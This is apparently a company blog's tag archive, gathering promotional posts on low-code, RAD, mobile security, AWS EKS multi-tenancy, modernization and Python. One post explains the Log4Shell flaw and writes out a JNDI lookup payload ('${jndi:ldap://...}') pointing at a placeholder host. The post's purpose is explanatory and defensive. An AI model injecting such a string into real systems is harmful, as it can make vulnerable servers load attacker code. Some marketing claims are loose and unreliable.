Tag: app development

Low-Code Development & High-Performance Software: 5 Best Practices for Building Complex Software

Posted on by Indium

Accelerating app development for quicker market entry, without compromising quality, helps businesses maintain their competitive edge. The development process has been undergoing tremendous changes over the years with the aim of shortening the product development cycle and reaching the market faster. Further revolutionizing the development process is the availability of low-code platforms to speed up the app development process. One of the biggest advantages of low-code platforms is that even citizen developers with no technical background or experience can use the platform to quickly build applications without lowering production quality.

This is because of the visual development environment offered by low-code platforms that allows developers to use the drag-and-drop feature to develop the apps. While this has proved to be a great advantage in accelerating development speeds, it has also generated a general view that low-code development is for simple apps and that complex software still needs a traditional development approach.

Benefits of Low-Code Platforms in Developing Complex Software Low-code platforms such as Mendix and OutSystems help developers build complex software by simplifying the development process. Some of the advantages of using a low-code platform include:

Automating Processes: Manual coding takes time and is prone to human errors. In low-code development, flexible apps can be created by automating processes. The tasks can be broken down and integrated to simplify even complex processes.

Device-Neutral Apps: It enables the creation of apps that can be used on any device, making it easy for users to access data and collaborate from anywhere, anytime.

Optimizing Resource Utilization: The fact that even non-technical users can develop apps using low-code platforms lowers the cost of development while improving productivity. As it speeds up the development cycle, it also is time-effective and allows faster time to market.

Improved Customer Delight: Low-code development allows users to respond to changing market trends quickly and improve customer service.

Better Risk Management and Governance: Businesses can cope with changing regulatory environment better as low-code development facilitates greater responsiveness.

Greater Adaptability: Keeping the apps up to date and meeting newer requirements is easy as low code does not require complex coding.

Mendix is available in free and pro versions, with the Pro enabling complex workflow management and external integrations through either low-code modeling or Java code.

It is cloud-based and makes IT project management and native collaboration easy.

OutSystems allows the creation of native apps at the click of a button. Once the app is configured and the keys/certificates added, the platform generates the native builds for Android and iOS along with the required content and plugins. It does not even need the installation of Java and Android Studio to build for the mobile.

5 Best Practices for Low-Code Development

To effectively leverage the low-code development platform for faster development of apps, implementing the following 5 best practices will be beneficial:

Best Practice #1 Understand Your Platform: Though low code needs very little coding skills, some basic technical skills are still essential to use the platform effectively. Some time spent understanding the platform capabilities will improve the quality of the apps being developed. Some of the key features the developers and users must be familiar with are platform integration, UI design, API generation, and so on.

Best Practice #2 Reuse Components: Low-code platforms such as Mendix and OutSystems also offer several out-of-the-box components that can help developers jump-start their app-building process. Focus on developing unique features and use the pre-existing features for the rest of the common functionalities.

Best Practice #3 Connect with the Community: Low-code platforms have a vibrant community that can help with developing robust apps. Reach out to the community to solve issues, have questions answered, and collaborate where needed to improve customer experience.

Best Practice #4 Ensure Good UI/UX: Low-code platforms such as Mendix and OutSystems provide easy and ready-to-use UI frameworks and come with standardized components. They enable customizing the user interface and speed up the development process.

Best Practice #5 Improve Security and Governance: Regulatory requirements make security and governance essential. Therefore, developers must ensure that apps developed using low-code platforms are compliant and secure. Permission-based access to data and protection of personalized identifiable information (PII) or sensitive IP must be ensured with sufficient management and oversight policies and rules put in place.

Indium to Facilitate Low Code Development

Indium Software is a leading low-code development company whose team of expert’s custom-develop complex systems with low-code/no-code solutions at low cost. Our low-code development services provide businesses with the tools and expertise they need to quickly and easily create powerful software applications without extensive coding knowledge.

We work with a variety of low-code development platforms including Mendix, Microsoft PowerApps, and OutSystems, leveraging the unique features and capabilities of these platforms to provide end-to-end solutions and low-code platform recommendations based on unique business needs. The use cases range from optimizing the sales process, to automating business operations, improving customer relationship management, and building web/mobile apps. These include business process automation to data analysis, workflow management, and IoT applications, across industries such as healthcare, finance, and retail. We work with cross-functional teams, especially Advance Analytics and data engineering teams to include AI in the solution.

Our services cover selecting and implementing the platform best suited for our business needs; and customizing and integrating the low-code platform with other systems including APIs and databases. We also provide low-code QA services, maintenance, training, and support for the low-code platform.

Take action to enable low-code technology to serve your company to its fullest potential. For a personalised solution, get in touch with us right now.

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FAQs

1. Is low code fit for any business need?

The deployment of low-code application development must be based on the suitability of the method for the specific business need and therefore must be evaluated before implementation.

2. Is it possible to customize low-code development?

Low-code development can customize using client and server APIs. New functionalities can be packaged, built, and distributed on the go.

Enable Increased Revenue using Rapid Application Development

Posted on by Adhithya S

Technology is constantly evolving in today’s competitive business environment; hence it is important to build new and innovative software where the features serve the customer better. The building and delivery of the software need to become faster, and the evolving needs of customers require to be catered to before your competitors.

According to BusinessWire, the rapid application development market is expected to reach a compound annual growth rate of 42.6% between the period 2021 and 2026. The next few years will see many enterprises adopting rapid application development.

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Rapid development means that the application development model provides prototypes at a high velocity. There is constant feedback from the customer which is used to extend the product’s life cycle on the market.

As building software is a very dynamic and constantly changing field, rapid application development services are built in a way that less stress is put on planning tasks, and more emphasis is put upon the rapid development of the prototypes. Let’s look at why rapid application development (RAD) is important in today’s IT environment, and the phases included in the process:

The Significance of Rapid Application Development (RAD)

Rapid application development is one of the most efficient software development program methodologies today. Discussed below are some advantages that come with adopting rapid application development services:

  • Flexibility to make Changes: Rapid application development is useful in a situation where the product needs to constantly go through quality checks and changes to the prototype. The client can give continuous feedback which can be incorporated into the application development cycle so the end product is satisfactory to the customer.
  • Comprehensive Knowledge of Features: The RAD model can be effective for software engineers and developers to gain knowledge on exploring different functionalities, user experience features, and graphics. Specific client requests can be met and the overall rejection levels can be reduced by receiving more comprehensive feedback from the customer.
  • Focus on Iterative Design and Teamwork: The overall structure of a rapid application development model allows to improve the teams’ efficiency. This is done by picking and choosing tasks according to the members’ specialties and past experiences. Thus, the process is streamlined, enabling constant communication between the team members and stakeholders, which significantly increases the quality and efficiency of the build process.

Phases of Rapid Application Development

There are four distinct phases in the process of rapid application development. The steps included are as listed down below:

  • Phase 1: The first step includes the requirement planning stage which helps to flesh out what the overall project scope is. In this stage, both developers and team members deliberate on the goals and expectations for the project. Hurdles that may arise are easily mitigated after this step. This is achieved, as research for defining requirements is done and finalized according to the stakeholders’ approvals.
  • Phase 2: When the project’s goals are listed down, it is finally time to get into the development and building stage of the application. This is done by getting different user designs by creating a number of prototype iterations. This interactive phase allows the product to take the right path and meets user expectations. Each product is tested and feedback is sent to the developers to fix any bugs or defects in the iterative process.
  • Phase 3: The construction phase converts the prototypes acquired from the user design phase into a working model. Users get to suggest improvements and changes as the software is developed in the pipeline. As the previous phase covers most of the issues that can arise, the construction of the model is a lot faster as compared to a traditional project management strategy.
  • Phase 4: The final phase in the rapid application development process is very similar to that of the implementation or final phase in a software development life cycle (SDLC). It includes a number of tasks such as the conversion of data, the changeover to newer systems, user training, and testing across platforms.

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How RAD can help your Business Boost Revenue

There are some key factors to consider before adopting the rapid application development (RAD) methodology. RAD works in models where the systems can be broken down into separate modules.

  • Increased Customization and Flexibility of Products: As systems can be distributed into separate forms, RAD allows frequent changes in the build of the prototype. This allows for the project to be broken down into smaller and more manageable activities for the team. The integrations can be applied from a very early stage which also helps to identify bugs early.
  • Skilled Capabilities in Workers & Technology: Highly skilled designers are sought out in order to build the perfect model for the client’s requirements. Code-generated tools make it cost-effective to create multiple prototypes as there require frequent changes to be made during the development process of the project.
  • Cost-Effective Models in Development: Rapid application development helps in reducing fixture and machine costs. This is alongside also making sure that the lead time is reduced by constantly setting up molds for products in real-time. Depending on the nature of the product, it can be expensive to purchase or create fixtures that can accommodate new technology. The reduced rates on material and lead creation can be utilized in conducting more marketing and testing activities.
  • Oversight with Collaboration until Deployment: The RAD process requires all the members of a team to be fully committed to the approach. As it is different from the traditional methodology of creating applications, there is always a need to ensure that all stakeholders are on-board with the strict timeline that needs to be adhered to. The success of any RAD process is fully dependent on the project manager’s capabilities to outline the development phase and have a successful communication channel established with the team members and stakeholders all in real-time.

Also Read: Taking advantage of Mendix’s Rapid Application Development Capabilities with MS Azure

What the Future Holds for RAD

Although rapid application development as a process is a few years old, it remains very relevant in the current state of IT. There is a need to deliver products to the market a lot faster to keep up with market trends. Traditional approaches come with strict planning and documentation which can be both time-consuming and expensive for businesses.

Since the product needs to be tailor-made to the customer’s expectations, the fast development needs to come with ample client participation. As the client can see the prototype at any point, RAD emphases on rapid prototyping where the process can be used on all project sizes.

Fast-project turnaround, a rapid working pace, and constant customer feedback loops are some integral parts of the rapid application development process. Leveraging rapid application development can help in reducing the overall planning time and help focus on multiple prototype iterations to satisfy customers at every step of the development process.

5 steps to build robust Mobile Application Security framework

Posted on by Gowtham Raghavan Ramachandran

With mobile apps becoming an important element in business strategy, mobile application security has started assuming an increasing importance. However, application security flaws only come with disastrous consequences as best illustrated by Amazon’s Ring Neighbour App incident.

A bug began retrieving sensitive data – like latitude and longitude – from Ring’s app, exposing precise details about users. Going unrealized, the bug had been stealthily screening Ring’s server causing data leakage. Hackers began hurling racial slurs and death threats to user, infuriated at which, the latter resorted to legal action against the tech firm. Severe criticism from civil rights groups and regulatory authorities marred Ring’s reputation, taking a heavy toll on its business.

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While that was just an example, each year many enterprises suffer heavy financial losses due to their weakly secured mobile apps. Analysis by CVE Details for the last decade has exposed 2500+ vulnerabilities and 1600+ vulnerabilities in Android and iOS devices respectively. Advancing mobile apps thus makes sense only when they are coupled with a parallel application security vision.

Giving way to IP thefts, reverse engineering, jailbreaks, and unauthorized user authentications, inadequately secured mobile applications leave customer data and the application framework vulnerable, inviting a host of security breaches.

To ensure a securely functioning mobile application, you thus require the knowledge of the right steps. While successful mobile application security framework might involve performing multiple steps, here we are going to discuss 5 important steps in mobile application security.

What are the 5 important steps in Mobile Application Security?

A systematic workflow of essential steps only helps to build a perfect mobile application security framework. Here we will go into the details of 5 essential steps that must be executed.

Authorize application access

As the first basic step, authorizing application access creates necessary accessibility prerequisites. A practical approach to authorizing an application starts with using two-factor authentication. Here, the first step is asking the user to enter ID and password, and the second step is validating the login through OTP sent to the mobile phone. Biometric authentication using fingerprint-based access may also make the second stage as required by the application.

One-time password (OTP)-based authentication creates a user in AWS Cognito and sends the user a unique 6 digit number for authenticating access to the application. As passwords are easy to hack, OTPs are the first line of defense against potential unauthorized access.

As a part of password creation, have a strict password policy, with rules framed for password length, password topologies, and password topology. Complex, alphanumeric passwords offer better security. Have an expiry time for passwords, so that users are prompted to modify their passwords at regular intervals.

Password strength must be analyzed using password testing best practices, which helps understand the implementation of password policy. Ascertain from time to time if password functionalities defined in the source code are functioning rightly. Finally, review password verification to ensure that passwords don’t violate the predefined password rules.

Protect sensitive data

To lay a successful foundation for protecting application data, the application network must be authenticated, which is a key to verifying the data accessor’s identity. Standard Transport Layer Security (TLS) protocols play a major role in offering this authentication. This is a primary step to safeguarding sensitive user data from the prying eyes of fraudsters and hackers. However, as much as 50% of the mobile APIs are not authenticated on the tokens. Hence there is the need for strong measures to protect the data.

To ensure that data managed by applications is secure across the entire application-data interaction lifecycle, implementing Amazon EFS (Elastic File System) along with IAM (Identity and Access Management) is a viable solution. EFS assesses IAM policies and encrypts the data, providing only relevant users access to the data.

Building a Virtual Private Cloud (VPC) protects data by treating the application ecosystem as a private network in the cloud environment. Logically isolated, VPCs keep application data secure by limiting access to resources. Using dedicated security protocols, it guards the data traffic.

Platforms like Amazon Cognito come with a dynamic authentication mechanism that provides data access to users through limited-privilege credentials. Having short life, these credentials leave no scope for unauthorized access and thereby prevent attempts to tamper with data.

Obfuscate the code

Code obfuscation conceals source code and deters all potential attempts to hack it by making the code useless for unauthorized access. The code is altered, but it performs the same functionality as performed by the original source code. Involving modification of app’s binary, code obfuscation hides function and class names and prevents reverse engineering of the proprietary app.

As a process, code obfuscation is executed using a series of mechanisms that make the code unintelligible. Here are some of those code obfuscation mechanisms:

  • Rename obfuscation: Intentionally, variables are assigned confusing names, so that their real role in the code is not made easily visible. This method is common with application codes developed using Java, .Net, and iOS and Android platforms.
  • Data obfuscation: Specially used to obfuscate data structures in the code, it helps keep hackers from reaching the core functionality of the code. It alters the data storage pattern and data interpretation for display features.
  • Dummy Code: Codes are inserted to create an impression that they perform some different functionality; however, the logic remains the same. It is a robust mechanism to prevent hackers from reverse-engineering the code.
  • Address obfuscation: It transforms code for each execution and randomizes the code’s virtual address, thereby preventing unchecked access to memory arrays.

Secure third-party API key

Third-party APIs are linked to multiple applications, and if the APIs fall prey to cyberattacks, it takes a toll on the applications. Functional third-party API security comprehensively safeguards the integrity of APIs. As an umbrella framework, API security encompasses right from API access control, threat detection and prevention of API reverse engineering.

The foremost action to secure third-party API keys is to drive API testing. Based on the type of API – SOAP (Simple Object Access Protocol), REST (Representational State Transfer) etc. – appropriate testing mechanism can be leveraged. For instance, Static Application Security Testing (SAST) helps identify vulnerabilities to API security during the early development stages.

Remember that each third-party API key is a secret and securing it is a critical step to ensure before the app goes into production. Here is how you can keep third-party API keys safe:

– Ensure secrecy by keeping the keys on the cloud; pull them when needed, by requesting the application.

– Add the keys in libraries so that they are difficult to decompile. Splitting key strings into different components and storing the individual components across different locations offers greater security.

– Use an obfuscator to put the key code as hashed secret. Later, unhash it, as required

Guard the communication framework

Applications interact extensively with external environments, and a weak communication framework creates opportunities for hackers to sneak in. As such, the regular communication for data exchange between the device and servers through applications must be protected.

Authenticating the interaction between apps and web platforms starts with Transport Layer Security (TLS). As a basic step, it helps protect access credentials.

Since REST is the communication facilitator in most cases, it must be configured to secure the communication between apps and web services. In this case, the platform automatically generates REST endpoints for secured server actions. Endpoint security works in two ways. First, the accesses are encrypted, and second, the server-side access control regulates the accesses. This works as a complex process that completely protects end-to-end communication.

Technical mechanisms like Open Authorization protocols – OAuth Core 1.0, OAuth 2.0 – streamline the process to securely manage the communication. These protocols give applications the ability to access protected resources from web services. Offering strong cryptographic features, OAuth 1.0 supports digital signatures and comes in handy when developing apps for banking or public services. OAuth 2.0 provides restrictive access, by offering access only to a set of resources and keeping an expiration date for every access token, which heightens the communication security.

You might be interested in: Artificial Intelligence And Its Impact On Mobile Applications

Conclusion

The above steps that we discussed with you are essentials to successfully deploy and manage a functional mobile application security framework. Systematically executing these steps creates a self-defending layer that holistically secures mobile apps.

Mobile application development services complete half the story, as securing it makes the rest. If you are looking to make your mobile apps more secure, these steps will definitely help you.

You can also seek Indium’s assistance to build a long-term mobile application security strategy.

We keep adopting the best standards and continually evolve our risk mitigation framework to effectively counter cyber threats. Get a detailed insight by knowing our Application Engineering services.

5 Best Practices While Building a Multi-Tenant SaaS Application using AWS Serverless/AWS EKS

Posted on by Indium

The multi-tenant data center market is expected to grow at a rapid CAGR of 11.36% between 2021 and 2026. Some of the growth drivers include the fast-expanding business processes spurring the demand for data centers that have resulted in the evolution of multi-tenant data centers.

Multi-tenant data centers refer to a software application being shared by multiple clients, including enterprises and cloud providers, at some level. Improved client servicing is one of the biggest advantages of being on a multi-tenant data center. It also enables:

  • Continuous technology upgradation with minimum disruption and costs
  • Scalability and cost-effectiveness because of sharing of resources such as web servers, databases, and computing resources
  • Lower demand on IT services
  • Faster response and deployment
  • Security
  • Cost Optimization

However, data centers also can become rigid over a period of time and also present security concerns.

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Amazon Elastic Kubernetes Service (EKS)

Amazon Elastic Kubernetes Service (Amazon EKS) is one of the popular orchestration platforms used by organizations moving towards a SaaS (software-as-a-service) model of delivery

One of the many advantages of EKS is that it provides multiple options for designing and creating a multi-tenant SaaS solution, though each comes with its own limitations. With each, the impact on the effort needed for implementation, cost efficiency, and operational complexity will vary

Some of the models that are available under EKS include:

  • A cluster-per-tenant model where tenants are isolated, but this may prove to be a costly option
  • A shared computing model allows tenants to comingle within the cluster while isolation and namespace are managed at the application level. This can be efficient operationally as well as cost-wise, but may not be suitable as an isolation model.
  • Namespace-per-tenant isolation is a via media where multiple tenants are deployed in one cluster but namespaces and a series of native and Kubernetes constructs enable separating them. Also called a silo model, it allows the allocation of resources for each tenant separately. It facilitates isolation cost-efficiently.

Some of the key elements for running this environment include:

  • Web Applications: Three applications, built using Angular, are available to interact with the environment’s backend services of the environment. These include:
    • The admin console for the SaaS provider administrators
    • The landing/sign-up application that allows new tenants to public register themselves for the service
    • An e-commerce application called the Sample SaaS commerce application
  • Shared Services: This enables onboarding and managing tenant and users of the application. They help to manage, authenticate, and configure shared services and handle the operations and data required to onboard tenants.
  • Application Services: Application services represent the microservices providing business functionality of the application. Based on the tenant’s tier, the role and deployment of these application services will vary.
  • Data Storage: Storage in a multi-tenant environment can be challenging and confusing due to there being many options, each with its own pros and cons. AWS also provides many storage models, including Amazon Redshift, Amazon DynamoDB, and Amazon Relational Database Service (Amazon RDS). Scoping, managing, and data security in each of these models is unique and needs to be partitioned to align with the needs of each enterprise’s SaaS environment.

You might be interested in: Using AWS for Your SaaS application–Here’s What You Need to Do for Data Security

5 Best Practices for AWS EKS usage in Multi-Tenant Applications

Given these complexities and varieties, the effectiveness of AWS EKS can be improved by implementing the following best practices:

Best Practice #1: Create Separate Namespaces for Each Tenant

It is important for each client in a multi-tenant SaaS application to have a separate namespace to make dividing resources across multiple clients in a single cluster resource easy. The namespace is the primary isolation unit in Kubernetes for multi-tenant architecture and a core feature in Amazon EKS. This enables enforcing data privacy without having to create a separate cluster for each client, thereby reducing the cost of computing resources and AWS hosting.

Best Practice #2: Resource Consumption Management with ResourceQuota

In a multi-tenant SaaS application, multiple tenants access the same Kubernetes cluster resources parallelly. Disproportionately high usage of resources by one tenant can deprive others of access. With ResourceQuota, caps can be set on the resources that each container can use.

Best Practice #3: Network Policies for Network Isolation

Isolation is an essential requirement in a multi-tenant environment since the Kubernetes production cluster permits namespaces to interact with each other, which is to be avoided. Tenant isolation network policy and network segmentation on Amazon EKS using Calico on Amazon EKS can help assign network policies and effect the isolation.

Best Practice #4: PersistentVolume and PersistentVolumeClaim for Storage Isolation

For allocating storage resources too, Amazon EKS provides PersistentVolume (PV) for seamlessly assigning and managing storage for the tenants. PersistentVolumeClaim (PVC) allows a tenant to send a storage request. Being a namespaced resource, it helps isolate storage for different tenants easily.

Best Practice #5: Integrating IAM Integration with Amazon EKS for Access Management

EKS enables the administration of Role-Based Access Control (RBAC) by integrating with AWS IAM on a Kubernetes cluster. The AWS IAM authenticator authenticates the tenant namespace and defines access based on roles. In addition, ClusterRole and Role policy provisioning on the cluster can help adopt a tight security posture.

Indium–An AWS Partner

Indium Software is an authorized AWS partner with experience and expertise to facilitate building a secure and effective multi-tenant application using AWS Serverless/EKS. Our experts work closely with the client to understand their business requirements and data governance and security policies. In addition, we implement the best practices to help businesses derive optimum benefits from their SaaS applications.

Hackers catch with Log Injection (Log4Shell)

Posted on by Dhinakaran R

Apache Log4j is widely used by java developers to file application logs, as it is open source and almost every application development team uses it, and no one worried about its security flaw until it is exposed and Java tech community is started showing some seriousness of data breaches with Log4J which is being used by almost every java developer / application. Some of the applications may not be using Log4J explicitly by the developer, but any of the dependent libraries used in their application must be using Log4J. So, in any case every application must revisit and apply patches to avoid any external threats which is proven as real threat. Here we look on how vulnerable is this and how to protect the applications.

First of all, this threat is not new and not found recently. This is well explained in the year 2016 a security expert in Blackhat USA 2016 forum had exhibited the seriousness of this flaw in a security conference. But no one from neither developer community nor from pen test community had given any attention to it and it is gone caught free till security team from Alibaba demonstrated the seriousness of this issue this month (Dec 2021). Log4J security threat is very much like the famous SQL Injection where a specific command can be passed through SQL queries and that can be executed in the database which will expose user sensitive data like password, credit card etc. These types of issues are identified as Improper Validation Input by NIST, and this vulnerability is termed as CVE-2021-44228. This means that keep too much trust on untrusted data that comes from outsiders.

Log4Shell Injection

Application logs help developers to debug the application during all phases especially helpful to examine production issues. Java developers mostly uses Log4j to file their application logs. This library has the feature called lookups helping to connect to different services like jndi, docker etc. This lookup feature introduced the vulnerability to implant malicious java code into the server and potentially steal the sensitive details from the server. The seriousness of this vulnerability is potential when it exposes JNDI (Java Naming and Directory Interface), as it reaches to several other services like LDAP for authentication which keeps PII (Personally Identified Information).

Let us have simple example to verify how this could go wrong,

In the search text field of our application user sends a string as ${jndi:ldap://something.com/x}, and this is being logged it in the code like,

log.error(“search string {}”, searchStr);

Log4J identifies this as lookup command to get connected and gets executed by server and try connecting to ldap server and return a response with required details like vulnerable java class to hacker to exploit the level of taking complete control over the server. The code snippets are like shell commands directly being applied on the server hence it is named as log4jshell, also it is being executed remotely it is known as RCE (Remote Code Execution). It could inject the malicious code into the system using this logging framework, hence this is termed as Log Injection.

Using the above request, the hacker is found the Vulnerable-Class, with that to take the control of ldap server which hosts all sensitive details of the application users.

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Remedies

  • Upgrade log4j2 to log4j2.16.x
  • In the log4j.conf, set the nolookup next to message (%m{nolookups})
  • Set the following jvm flags to false
    • com.sun.jndi.ldap.object.trustURLCodebase
    • com.sun.jndi.rmi.object.trustURLCodebase
  • In case we use gradle as build tool we can add the following lines of code to protect from this vulnerability.
  • Directly apply the patch class supplied by Log4J team

Low Code vs No Code- A Guide to a New Age of App Development

Posted on by Adhithya S

App Development Has Come a Long Way

Since their advent, smartphone apps have become intrinsically linked to our everyday lives. They have become part of our lifestyle, transport and even our healthcare. With millions of apps coming out on various platforms every year, the process of app development is much more democratized in 2021 than it ever has been.

Instead of spending hours perfecting every miniscule feature on an application, coders today can work on pre-set developing tools where many functions have already been coded and pre-made. These tools make it easier for laymen with little to no experience in coding to make simple apps that serve their purpose. This makes it so that the whole process of application engineering is brought to the fingertips of an individual to make use of.

Low-code and no-code software development are also sometimes termed citizens’ development owing to how the agile methodologies help enterprises deliver applications in an expedited manner.

A World Where Anyone Can Code

The democratization of app development brings along with it a number of beneficial factors for small businesses and start-ups who are constantly struggling to keep up with bigger corporates and conglomerates.

  • Bridge gaps in Skill Sets: Low-code development help enterprises to eliminate the skill gaps between the existing IT staff who code and non-developers who might have valuable inputs to build applications across the board easily.
  • Reduce Time to Market by Speeding up Development: Application development for custom app or mobile apps is a very long and repetitive process that can drag the development cycle for months, if not years. Internal staff can identify business requirements as the application is being developed to reach the desired customers in very little time.
  • Cut back on Costs and Training: Companies do not require to hire external application development teams as the tools are designed for existing internal teams. The tools are designed so that existing teams can easily work on the same while saving money on both resources and additional training costs.

Indium’s low-code services are rendered through Mendix & Claris for your unique business needs

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What Exactly Is the Difference Between Low Code and No Code?

No-code platforms are very simple in the way they work. They allow one to create basic functional applications through a visual-based drag-and-drop interface. There will not be any major upgrades from legacy systems; hence, teams use the app for particular needs within a specific scope. The biggest advantage with no-code is that they can be used by people with no prior coding knowledge and can be used to create prototypes by non-technical teams before sending it for development by the IT team.

A low-code development medium usually uses visual interfaces with simple drag-and-drop features instead of elaborate coding languages that make it intuitive to use for the general user with no formal knowledge. It is the half-way point between no code and fully-fledged coding. Low-code also has a visual-based interface but can also be used for scalable environments with flexibility in the cloud or on-premise deployments along with APIs for reusability.

Low-code allows for manual coding and scripting, which gives developers the best of both worlds. The platform empowers developers to build advanced apps with their code while using existing platform’s capabilities. A pre-existing set of tools help them bridge the gaps that otherwise would have required specialized skillsets or an extra team altogether.

A platform like no code/low code is ideal for small businessmen and service providers, reducing the cost and time to market. Low-code makes it easier to go digital. Making the internet and smart services easily accessible across the spectrum.

Is it No-Code or Low-Code?

The right route for any business when it comes to choosing between no-code and low-code is to look at the use cases and patterns of the enterprise across a period of time and seeing which development platform would be the most optimum for their unique business type.

A large number of apps and interlinks between them may lead to them being as integrated as websites on the internet itself. Tik Tok tops Google or Facebook the previous top contenders) as the most visited website on the internet. This is owing purely to the accessibility of the application and how it ties into a number of tropes, including acting, music, and short-form viral clips.

How will low-code apps affect the future?

The need of the hour is to identify players in the field of application development, which can skyrocket the efficiency of newer technologies in the pipeline such, as Web 3.0. With crypto/digital currency taking over the world by storm, transactions are being handled by e-wallets and QR-based payment services more and more. Autonomous healthcare, transport, & retail services are also slowly being integrated into an ecosystem conducive to faster and more efficient living. Applications are becoming integral to our lives these days, more than ever, and the emergence of more no-code and low-code app developers will only stimulate this very process in the long run.

Application Modernization Strategies: A step-to-step guide

Posted on by Vaibhavi Tamizhkumaran

Businesses have seen an undeniable acceleration in digital transformation in recent past specifically since the pandemic began to tighten its hold on the planet. Enterprises gain agility and the flexibility to respond to dynamic business changes by modernising legacy applications. Most firms have recognised a high appetite for digital transformation, and software solutions are being upgraded and deployed at an unprecedented scale. According to Markets and Markets research, the global application modernization services market is predicted to increase at a 16.8 percent CAGR from USD 11.4 billion in 2022 to USD 24.8 billion in 2025.

Various factors are driving the need for application modernization, with COVID-19 limitations remaining one of the most important. Organizations are struggling to maintain a smooth workflow as a result of COVID-19 regulations forcing their employees to work from home. Under the great burden of rising app-based digital business transactions, businesses’ old programmes and software have given up, compelling businesses all around the world to update their legacy apps.

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In a very dynamic market, companies should have an application modernization strategy in place to maintain business continuity and growth. The greatest strategy to exploit current capital and minimise unnecessary technological investments is to modernise your existing apps or systems.

Modernizing legacy applications might help to avoid accruing technical debts and business immobility. This article explains how application modernization enables businesses to digitally shift and scale up during a pandemic.

What is application modernization?

Application modernization entails rewriting existing software to accommodate new computing methods. New languages, frameworks, and infrastructure platforms are among the updates. In this digital world, data becomes the primary business driven force to study and analyse the in-depth business dynamics in terms of sales, revenue, expenditure and proftis etc. The IT industry matured a lot in recent years and the latest technology advancements have made the giga bytes of data processing possible quicker which helps to forecast the business well in advance. Modernization process takes care of application security in greater width by enabling / enforcing multifactor authentication process which was not possible with older technologies.

Some businesses are ready to phase out older applications in favour of the most up-to-date. However, both financially and operationally, this can be expensive. As a result, “the most reasonable strategy to exploit newer platforms, technologies, and frameworks is to modernise applications.”

Benefits of Application Modernization

Cost reduction: Because of the pandemic’s limited resources, “cost” has been the most crucial motivator for application modernisation. For example, the more data you collect, the more you’ll have to pay for your on-premise data centre, requiring businesses to replace storage systems more frequently. It is costly to own and maintain infrastructure since additional costs for cooling, space, and electricity are incurred. Besides these costs, maintaining a large data center would necessitate a specialised IT team to manage the same. As a result, investing in timely application modernization is both reasonable and advantageous, as it helps to avoid all of the costs listed above. The recent cloud platforms (PaaS) offer zero dev-ops it means no manpower is required to maintain and manage the application with respect to deployment. Keeping all these factors like machine, manpower and other infra resources taking into account, enterprises would reduce the recurring expenses significantly.

Improves customer experience: The market has become a battleground for enterprises that cater to similar products and services. At a time like this, it is the customer experience that will give a company the needed competitive edge. Customers preferred with minimal clicks to get things done. Using an obsolete technology will be difficult attain this client experience. Legacy software has an impact on productivity and the time taken to complete the integration.

Furthermore, outdated software’s security flaws can easily jeopardise your business and consumer data, harming your brand. By altering the end-user interface, automating laborious procedures, and adding new features, application modernization can improve your customers’ experience. Essentially, more stable systems, faster updates, and improved security will make your business operations more efficient. All of this, taken together, distinguishes your company and ensures that it flourishes. Without investing extensively in all new technology, your company may get up to speed via application modernisation. In the long term, application modernization will increase revenue, efficiency and security of the applications.

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Application modernization strategies

An effective application modernization strategy can minimise the resources needed to run an application, increase the frequency and dependability of deployments, and improve uptime and resiliency. As a result, a plan for application modernization is a standard component of a company’s overall digital transformation strategy.

Legacy application support is difficult for a variety of reasons. These old and difficult-to-maintain systems are becoming progressively obsolete making it less effective at fulfilling their intended goal as they age, also posing a cybersecurity risk. While application modernization is not without its difficulties, the advantages are substantial. Here are five best practises to keep in mind when you create your approach:

Rehost: This strategy, often known as the ‘lift and shift’ concept, entails migrating your application’s fundamental resources from an on-premise data centre to the cloud in their current state. The application codebase is kept the same, but the infrastructure, which includes cloud-based storage, compute, and network resources, is transferred to cloud infrastructure-as-a-service (IaaS). Attempting to migrate current systems, particularly monolithic legacy apps, to a cloud architecture will prevent them from taking advantage of key cloud-native capabilities such as PaaS, multi-cloud, microservices, agile methodology, containers, CI/CD, and DevOps processes. However, this approach is good if you re trying to utilize the cloud benefits to save cost and as a disaster recovery option.

Refactor: The applications are expected to be on cloud nature in digital era. It includes modification of the application itself and part of code to avail all the benefits of a public cloud. Developers can take advantage of the organization’s strategic code by repurposing investments in languages, frameworks, and containers. It is a time and resource intensive, but the advantages that it brings outweighs the earlier said issues. Organizations take advantage of developing independent services for some of the functional features and make it useable for both internal and external users.

Re-architect: The legacy monolithic application is re-architected using the microservices model, containerized, and current DevOps processes in this option. This involves breaking down or dividing your monolithic application into a set of services that can be written, deployed, and managed separately. Rather than a complete rebuild, it entails fundamentally modifying or deconstructing the application into services. This divide-and-conquer approach to design gives you more control and offers advantages like business agility, faster time to market, lower costs, and the ability to reimagine the customer experience. Cloud-based PaaS (if desired), microservices, serverless, containerization, and current DevOps approaches are among the technologies used.

Rebuild: It’s comparable to a re-architecture, only that instead of remodelling, you’re flattening it and beginning again. And, as with a home, starting from scratch can be more cost effective and usually results in a much better outcome than a renovating effort. The programme is redesigned as a cloud-native application during the rebuild, which helps to speed up innovation, release value sooner, and lower overall operational expenses. Given advancements in technology, languages, frameworks, and other efficiencies, the effort necessary to construct the old programme in the first place could be far greater than the effort required to replace it today. Lower-level programming is now frequently abstracted.

Replace: You can sometimes replace a legacy programme with a more flexible cloud-based solution if it offers certain functionality that is still relevant. Replacing an on-premise version of Microsoft Exchange Server with the cloud-based Office 365 is a simple example. These services are now available as a pay-as-you-go subscription rather than a purchased licence.

The advantages of software-as-a-service (SaaS) solutions include always running the most recent version without the need for updates, significant cost savings, perhaps greater security, and moving the support responsibility outside of the business.

Why Python is the Language of the Future

Posted on by Abhay Das

Why is Python the Language of the Future?

From the time of its release in 1991 to today, Python has evolved, and as of February 2021, documentation for version 3.9.2 had been released. It is the third most popular language used by developers and its tutorials are the most searched on the Net. A SlashData report published in ZDNet indicates there were 8.2 million Python developers in 2019, up from 7 million the previous year. Compare this to Java, which had 7.1 million users in 2018 and 7.6 million in 2019.

There are many reasons for Python’s popularity, and the increasing search for tutorials indicates that this is going to be the future too.

5 Reasons for Python’s Popularity

Today, speed of development has become essential to shorten time to market and retain competitive advantage. Another emerging trend is machine learning, which helps automate tasks and speed up processes across industries, freeing up resources to add value. Python fits the bill for both.

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Python is a flexible, versatile, multi-purpose, object-oriented and high-level programming language that can be used for developing a variety of applications across platforms such as Windows, Mac, Linux, and even Kivy platform to develop games for the desktop and web applications. The Django or Flask frameworks also enable Python developers to create web-based applications that are scalable and can interact with popular databases such as MySQL and PostgreSQL.

Some of the reasons for its popularity include:

